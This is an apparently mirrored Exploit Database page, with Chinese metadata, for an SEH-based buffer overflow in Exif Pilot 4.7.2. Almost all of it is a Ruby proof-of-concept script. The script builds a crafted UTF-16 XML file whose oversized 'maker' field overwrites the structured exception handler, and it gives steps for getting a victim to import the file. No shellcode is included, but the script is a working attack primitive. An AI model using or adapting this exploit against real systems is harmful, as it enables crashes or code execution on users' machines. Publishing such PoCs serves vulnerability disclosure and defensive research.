Exif Pilot 4.7.2 – Buffer Overflow (SEH)

• Exploit Database
• 15 阅读

• 作者： Osanda Malith Jayathissa
  日期： 2015-01-22
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/35870/

• #!/usr/bin/env ruby
  # Exploit Title: Exif Pilot SEH Based Buffer Overflow
  # Version: version 4.7.2
  # Download: http://www.colorpilot.com/load/exif.exe
  # Tested on: Windows XP sp2
  # Exploit Author: Osanda M. Jayathissa
  # E-Mail: osanda[cat]unseen.is 
  
  =begin
  Click Tools > Options > Customize 35mm tab > Import > and choose "output.xml".
  The p/p/r addresses contains null characters. 
  =end
  require 'rex'
  
  def generate_content(padding1_len, padding2_len)
  header = "\xff\xfe"
  header << Rex::Text.to_unicode("<?xml version=\"1.0\" encoding=\"UTF-16\" ?>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("<efls>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode(" <eflitem>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("<maker>");
  header << Rex::Text.to_unicode("");
  
  for i in 0..padding1_len
  header << Rex::Text.to_unicode("A");
  end
  
  header << "\xeb\x00\x06\x00\x90\x00\x90\x00" #nSEH
  header << Rex::Text.to_unicode("CCCC"); #SEH
  
  for i in 0..padding2_len
  header << Rex::Text.to_unicode("A");
  end
  
  header << "\x0d\x00\x0a\x00\x09\x00\x09\x00"
  header << Rex::Text.to_unicode("</maker>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("<model>abc</model>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("<factor>0.000000</factor>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("</eflitem>")
  header << "\x0d\x00\x0a\x00"
  header << Rex::Text.to_unicode("</efls>")
  header << "\x0d\x00\x0a\x00"
  return header
  end
  
  ##
  # main
  ##
  
  filename = 'output.xml'
  output_handle = File.new(filename, 'wb')
  if !output_handle
  $stdout.puts "Cannot open the file #{filename} for writing!"
  exit -1
  end
  
  header = generate_content(1619, 7000)
  
  $stdout.puts "Generating file #{filename}"
  output_handle.puts header
  output_handle.close
  
  $stdout.puts "Done!"
  exit 0
  #EOF